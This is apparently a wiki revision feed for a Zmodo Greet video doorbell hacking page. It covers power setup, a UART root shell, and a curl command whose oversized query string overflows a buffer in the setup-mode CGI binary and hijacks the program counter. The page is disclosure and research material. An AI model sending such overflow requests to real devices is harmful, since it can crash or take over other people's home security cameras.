You can purchase [https://www.amazon.com/Zmodo-Greet-Smart-Video-Doorbell/dp/B014A6M4ZI/ref=as_li_ss_tl?ie=UTF8&qid=1501631152&sr=8-2&keywords=zmodo+greet&linkCode=ll1&tag=exploiteers-20&linkId=0c97588b3859a323c9d44338e9cd9374 The Zmodo Greet on Amazon].<br />
<br />
== About ==<br />
The Zmodo Greet is a WiFi doorbell with a camera and two way audio communication.<br />
<br />
== Power ==<br />
Powering this board is a bit of a challenge. It expects to be connected to a 10-36V AC source in series with a doorbell chime. Just connecting a DC source to the input doesn't work. We found the best method is to solder a connection to the DC side of the rectifier and supply a low DC voltage there (we used a 9V battery).<br />
<br />
<gallery><br />
File:Zmodo Greet Power.JPG<br />
</gallery><br />
<br />
== UART ==<br />
The main board has a UART broken out to two test points on the back. During boot you can use this UART to get a uBoot shell. Once the device has finished booting the UART presents a root busybox shell.<br />
<br />
<gallery><br />
File:Zmodo_Greet_UART.JPG<br />
</gallery><br />
<br />
== Software Vulnerabilities ==<br />
While the Zmodo Greet is in setup mode it hosts a WiFi network and accepts an HTTP request to configure the device. This HTTP request is handled by a CGI binary that has a serious buffer overflow vulnerability.<br />
<br />
If you connect to the setup network, you can use this curl command to cause the binary to crash:<br />
<br />
<nowiki><br />
curl http://<DEVICE_IP>/cgi-bin/output.cgi?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbb<br />
</nowiki><br />
<br />
This causes the process to jump to the address 0x61616160 ("AAA`" in ASCII). With some development this could be made into a remote code execution attack. The device does have ASLR enabled, so it will take some work to make a viable payload.</div>GredLeaderhttps://wiki.exploitee.rs/index.php?title=Zmodo_Greet&diff=2713Zmodo Greet2017-08-02T06:17:31Z<p>GredLeader: /* Software Vulnerabilities */</p>
<hr />
<div>__FORCETOC__<br />
{{Disclaimer}}<br />
This page will be dedicated to a general overview of descriptions and information related to The Zmodo Greet<br />
[[File:Zmodo greet.JPG|70px|left|thumb]]<br />
[[Category:Cameras]]<br />
<br />
== Purchase ==<br />
You can purchase [https://www.amazon.com/Zmodo-Greet-Smart-Video-Doorbell/dp/B014A6M4ZI/ref=as_li_ss_tl?ie=UTF8&qid=1501631152&sr=8-2&keywords=zmodo+greet&linkCode=ll1&tag=exploiteers-20&linkId=0c97588b3859a323c9d44338e9cd9374 The Zmodo Greet on Amazon].<br />
<br />
== About ==<br />
The Zmodo Greet is a WiFi doorbell with a camera and two way audio communication.<br />
<br />
== Power ==<br />
Powering this board is a bit of a challenge. It expects to be connected to a 10-36V AC source in series with a doorbell chime. Just connecting a DC source to the input doesn't work. We found the best method is to solder a connection to the DC side of the rectifier and supply a low DC voltage there (we used a 9V battery).<br />
<br />
<gallery><br />
File:Zmodo Greet Power.JPG<br />
</gallery><br />
<br />
== UART ==<br />
The main board has a UART broken out to two test points on the back. During boot you can use this UART to get a uBoot shell. Once the device has finished booting the UART presents a root busybox shell.<br />
<br />
<gallery><br />
File:Zmodo_Greet_UART.JPG<br />
</gallery><br />
<br />
== Software Vulnerabilities ==<br />
While the Zmodo Greet is in setup mode it hosts a WiFi network and accepts an HTTP request to configure the device. This HTTP request is handled by a CGI binary that has a serious buffer overflow vulnerability.<br />
<br />
If you connect to the setup network, you can use this curl command to cause the binary to crash:<br />
<br />
<nowiki><br />
curl http://<DEVICE_IP>/cgi-bin/output.cgi?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbb<br />
</nowiki><br />
<br />
This causes the process to jump to the address 0x61616160 ("AAA`" in ASCII). With some development this could be made into a remote code execution attack. The device does have ASLR enabled, so it will take some work to make a viable payload.</div>GredLeaderhttps://wiki.exploitee.rs/index.php?title=Zmodo_Greet&diff=2712Zmodo Greet2017-08-02T06:16:46Z<p>GredLeader: </p>
<hr />
<div>__FORCETOC__<br />
{{Disclaimer}}<br />
This page will be dedicated to a general overview of descriptions and information related to The Zmodo Greet<br />
[[File:Zmodo greet.JPG|70px|left|thumb]]<br />
[[Category:Cameras]]<br />
<br />
== Purchase ==<br />
You can purchase [https://www.amazon.com/Zmodo-Greet-Smart-Video-Doorbell/dp/B014A6M4ZI/ref=as_li_ss_tl?ie=UTF8&qid=1501631152&sr=8-2&keywords=zmodo+greet&linkCode=ll1&tag=exploiteers-20&linkId=0c97588b3859a323c9d44338e9cd9374 The Zmodo Greet on Amazon].<br />
<br />
== About ==<br />
The Zmodo Greet is a WiFi doorbell with a camera and two way audio communication.<br />
<br />
== Power ==<br />
Powering this board is a bit of a challenge. It expects to be connected to a 10-36V AC source in series with a doorbell chime. Just connecting a DC source to the input doesn't work. We found the best method is to solder a connection to the DC side of the rectifier and supply a low DC voltage there (we used a 9V battery).<br />
<br />
<gallery><br />
File:Zmodo Greet Power.JPG<br />
</gallery><br />
<br />
== UART ==<br />
The main board has a UART broken out to two test points on the back. During boot you can use this UART to get a uBoot shell. Once the device has finished booting the UART presents a root busybox shell.<br />
<br />
<gallery><br />
File:Zmodo_Greet_UART.JPG<br />
</gallery><br />
<br />
== Software Vulnerabilities ==<br />
While the Zmodo Greet is in setup mode it hosts a WiFi network and accepts an HTTP request to configure the device. This HTTP request is handled by a CGI binary that has a serious buffer overflow vulnerability.<br />
<br />
If you connect to the setup network, you can use this curl command to cause the binary to crash:<br />
<br />
<nowiki><br />
curl http://<DEVICE_IP>/cgi-bin/output.cgi?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbb<br />
</nowiki><br />
<br />
This causes the process to jump to the address 0x61616160 ("AAA`" in ASCII). With some development this could be made into a remote code execution attack. The device does have ASLR enabled, so it will take some work to make a viable payload.</div>GredLeaderhttps://wiki.exploitee.rs/index.php?title=Zmodo_Greet&diff=2710Zmodo Greet2017-08-02T03:37:55Z<p>GredLeader: </p>
<hr />
<div>__FORCETOC__<br />
{{Disclaimer}}<br />
This page will be dedicated to a general overview of descriptions and information related to The Zmodo Greet<br />
[[File:Zmodo greet.JPG|70px|left|thumb]]<br />
[[Category:Cameras]]<br />
<br />
== Purchase ==<br />
You can purchase [https://www.amazon.com/Zmodo-Greet-Smart-Video-Doorbell/dp/B014A6M4ZI/ref=as_li_ss_tl?ie=UTF8&qid=1501631152&sr=8-2&keywords=zmodo+greet&linkCode=ll1&tag=exploiteers-20&linkId=0c97588b3859a323c9d44338e9cd9374 The Zmodo Greet on Amazon].<br />
<br />
== About ==<br />
The Zmodo Greet is a WiFi doorbell with a camera and two way audio communication.<br />
<br />
== Power ==<br />
Powering this board is a bit of a challenge. It expects to be connected to a 10-36V AC source in series with a doorbell chime. Just connecting a DC source to the input doesn't work. We found the best method is to solder a connection to the DC side of the rectifier and supply a low DC voltage there (we used a 9V battery).<br />
<br />
<gallery><br />
File:Zmodo Greet Power.JPG<br />
</gallery><br />
<br />
== UART ==<br />
The main board has a UART broken out to two test points on the back. During boot you can use this UART to get a uBoot shell. Once the device has finished booting the UART presents a root busybox shell.<br />
<br />
<gallery><br />
File:Zmodo_Greet_UART.JPG<br />
</gallery></div>GredLeaderhttps://wiki.exploitee.rs/index.php?title=Zmodo_Greet&diff=2709Zmodo Greet2017-08-02T02:57:52Z<p>GredLeader: </p>
<hr />
<div>__FORCETOC__<br />
{{Disclaimer}}<br />
This page will be dedicated to a general overview of descriptions and information related to The Zmodo Greet<br />
[[File:Zmodo greet.JPG|70px|left|thumb]]<br />
[[Category:Cameras]]<br />
<br />
== Purchase ==<br />
You can purchase [https://www.amazon.com/Zmodo-Greet-Smart-Video-Doorbell/dp/B014A6M4ZI/ref=as_li_ss_tl?ie=UTF8&qid=1501631152&sr=8-2&keywords=zmodo+greet&linkCode=ll1&tag=exploiteers-20&linkId=0c97588b3859a323c9d44338e9cd9374 The Zmodo Greet on Amazon].<br />
<br />
== About ==<br />
The Zmodo Greet is a WiFi doorbell with a camera and two way audio communication.<br />
<br />
== Power ==<br />
Powering this board is a bit of a challenge. It expects to be connected to a 10-36V AC source in series with a doorbell chime. Just connecting a DC source to the input doesn't work. We found the best method is to solder a connection to the DC side of the rectifier and supply a low DC voltage there (we used a 9V battery).<br />
<br />
<gallery><br />
File:Zmodo Greet Power.JPG<br />
</gallery></div>GredLeaderhttps://wiki.exploitee.rs/index.php?title=File:Zmodo_Greet_UART.JPG&diff=2708File:Zmodo Greet UART.JPG2017-08-02T02:46:43Z<p>GredLeader: </p>
<hr />
<div></div>GredLeaderhttps://wiki.exploitee.rs/index.php?title=File:Zmodo_Greet_Power.JPG&diff=2707File:Zmodo Greet Power.JPG2017-08-02T02:43:59Z<p>GredLeader: </p>
<hr />
<div></div>GredLeaderhttps://wiki.exploitee.rs/index.php?title=Zmodo_Greet&diff=2705Zmodo Greet2017-08-02T02:11:56Z<p>GredLeader: </p>
<hr />
<div>__FORCETOC__<br />
{{Disclaimer}}<br />
This page will be dedicated to a general overview of descriptions and information related to The Zmodo Greet<br />
[[File:Zmodo greet.JPG|70px|left|thumb]]<br />
[[Category:Cameras]]<br />
<br />
== Purchase ==<br />
You can purchase [https://www.amazon.com/Zmodo-Greet-Smart-Video-Doorbell/dp/B014A6M4ZI/ref=as_li_ss_tl?ie=UTF8&qid=1501631152&sr=8-2&keywords=zmodo+greet&linkCode=ll1&tag=exploiteers-20&linkId=0c97588b3859a323c9d44338e9cd9374 The Zmodo Greet on Amazon].<br />
<br />
== About ==<br />
The Zmodo Greet is a WiFi doorbell with a camera and two way audio communication.<br />
<br />
== Disassembly ==</div>GredLeader